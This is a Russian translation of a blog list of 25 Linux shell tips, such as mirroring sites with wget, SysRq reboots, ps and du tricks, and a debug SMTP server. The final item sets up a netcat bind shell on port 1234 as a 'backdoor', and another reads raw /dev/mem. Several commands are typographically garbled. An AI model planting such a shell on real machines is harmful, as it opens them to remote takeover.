25 Linux команд для затравки
Перевод: 25 Best Linux Commands
Автор: Isaiah
Продолжение темы про полезные команды Linux (начало и продолжение, в конце статьи).
-
Похоже на команду top, но уже для файлов
watch -d -n 2 'df; ls -FlAt;'
-
Скачиваем весь веб сайт
wget –random-wait -r -p -e robots=off -U mozilla http://www.example.com
-p параметр указывающий для wget необходимость скачивать все файлы, включая изображения. -e robots=off вы не хотите, чтобы wget подчинялся правилам файла robots.txt -U mozilla идентификатор вашего браузера. –random-wait указывает wget делать случайные интервал задержек между скачиваниями, своеобразная защита от возможного попадания в бан Еще несколько полезных параметров wget: –limit-rate=20k ограничение скорости закачки -b продолжает выполнять wget даже после выхода из консоли -o $HOME/wget_log.txt выводим в лог выходные сообщения
-
Список размеров (в человекочитаемой форме) всех подпапок текущей директории
du -h –-max-depth=1
-
Очень простой и удобный секундомер
time read (ctrl-d - остановить) time read -sn1 (s:молчаливый режим, n:число символов для чтения из STDIN. Нажмите любую клавишу, чтобы остановить)
-
Быстрый доступ к таблице ascii
man ascii
-
Выключение Windows машины из под Linux
net rpc shutdown -I ipAddressOfWindowsPC -U username%password
Эта строка выполнит команду shutdown для Windows машины. Подключаемый пользователь (username) должен быть администратором системы Windows. Для выполнения команды на машине Linux должен быть установлен пакет samba-common. Другие схожие команды:
net rpc shutdown -r : перезагружает компьютер с Windows net rpc abortshutdown : отменяет выключение машины с Windows
Введите:
net rpc
чтобы просмотреть список всех возможных команд
-
Перейти в директорию, выполнить команду и вернуться назад в текущую директорию
(cd /tmp && ls)
-
Показать первую десятку процессов отсортированных по параметру использования памяти
ps aux | sort -nk +4 | tail
ps возвращает список список всех процессов, которые сортируются по 4-ому полю в числовой последовательности и 10-ка которых отправляется на STDOUT.
-
Вывести список наиболее часто используемых команд
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
-
Перезагрузить машину, когда она "повиснет" (поднятие обессилившего слона)
<alt> + <print screen/sys rq> + <R> – <S> – <E> – <I> – <U> – <B>
Если машина "повисает", так что помочь ей может только кнопка питания, эта последовательность клавиш поможет вам перезагрузить компьютер более правильным способом.
R – возвращает контроль клавиатуре
S – выполняет синхронизацию
E – отправляет всем процессам сигнал о терминации (term singal)
I – отправляет всем процессам сигнал о завершении (kill signal)
U – монтирует все файловые системы для предотвращения выполнения fsck после перезагрузки
B – перезагружает системуСохраните свои файлы прежде, чем выполните эту команду, так как перезагрузка будет выполнена без предупреждения! http://en.wikipedia.org/wiki/Magic_SysRq_key
-
'less' ведет себя также как 'tail -f'
less +F somelogfile
Использование опции +F переключает less в режим "следования". Такой трюк работает аналогично 'tail -f'. Чтобы остановить прокрутку, используйте прерывание, вы получите обычные преимущества less (прокрутка и т.п.). Нажатие SHIFT-F приведет к продолжению 'tailling'.
-
Включение звукового сигнала, когда требуемый IP будет доступен
ping -i 60 -a IP_address
Ждете когда ваш сервер закончит перезагружаться? Выполните команду предложенную выше и вы услышите сигнал, когда он будет доступен в онлайн. Флаг -i 60 указывает выполнять пинги через интервал 60 секунд, варьируйте его по вашему желанию. Флаг -a указывает команде пинг включить звуковой сигнал, когда команда получит ответ от хоста (или другими словами, когда ваш сервер загрузит сетевые сервисы).
-
Сила обратных кавычек
echo "The date is: $(date +%D)"
Это простой пример правильного использования команды вложенной с помощью $() через ". Есть несколько преимуществ от использования $() по сравнению с обратными кавычками. Во первых, они могут быть просто вложены без escape-последовательностей:
program1 $(program2 $(program3 $(program4))) против program1 `program2 \`program3 \`program4\`\``
Во вторых, их проще читать, попробуйте понять разницу между обратными кавычками и одиночной кавычкой: '. Единственный недостаток $() это проблема переносимости. Если ваш скрипт должен быть переносим, в том числе и на архаичный Bourne shell, или старые версии C-shell или Korn shell, тогда обратные кавычки наиболее подходят, в ином случае, мы все должны следовать привычному $(). Тот, кто возможно в будущем, будет разбираться в ваших скриптах скажет вам спасибо за понятный и простой код.
-
Симуляция ввода с клавиатуры
echo "Вы можете симулировать набор символов на экране, как это показывают в кино" | pv -qL 10
Эта команда будет выводить по 10 символов в секунду. (hb: в моем релизе команды pv по умолчанию нет. Но, yum install pv, вам поможет)
-
SMTP сервер на python
python -m smtpd -n -c DebuggingServer localhost:1025
Эта команда запустит простой SMTP сервер слушая на 1025 порту локального хоста. Этот сервер просто выводит на стандартное устройство вывода все заголовки email и все email содержимое.
-
Просмотр сетевой активности в реальном режиме времени
lsof -i
-
Выводим различия между двумя неотсортированными файлами без создания промежуточных файлов
diff <(sort file1) <(sort file2)
перенаправление субоболочки bash/ksh (как файловый дескриптор) используется как ввод для diff
-
Вытаскиваем аудио из видеофайла.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
подставьте вместо входного/выходного файла то, что вам нужно
-
Выводим матрицу
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32? grep –color "[^ ]"
(hb: если честно, то не понял, зачем эта матрица, - чисто прикол)
-
Эта команда покажет вам все строковые (обычный текст) значения из RAM
sudo dd if=/dev/mem | cat | strings
Эта забавная штука с RAM хорошенько нагружает ее.
-
А так можно посмотреть какой у вас установлен дистрибутив
cat /etc/issue
(hb: не знал, отличная штука, автору спасибо)
-
Простой способ поиска запущенных процессов (через alias).
alias ps?='ps ax | grep '
(hb: далее можете вызвать к примеру: ps? apa)
-
Создать скрипт из последней запущенной команды
echo "!!" > foo.sh
Иногда команды бывают слишком длинными, но сподручными, поэтому этот приемчик будет очень полезен, чтобы сохранить их на будущее без необходимости их перенабора. Альтернативное решение - использование истории команд, и cut/sed в зависимости от вашей платформы.
history -1 | cut -c 7- > foo.sh
-
Развернуть tarball прямо из интернет без необходимости создания временных файлов
wget -qO – "http://www.tarball.com/tarball.gz" | tar zxvf -
-
Создать бэкдор на машине, чтобы удаленно подключиться к bash
nc -vv -l -p 1234 -e /bin/bash
Эта команда запустит прослушку на порту 1234, к которой вы можете подключиться с удаленной машины к примеру вот так:
nc 192.168.0.1 1234
Будьте осторожны с этой командой, это потенциальная "дыра" в безопасности.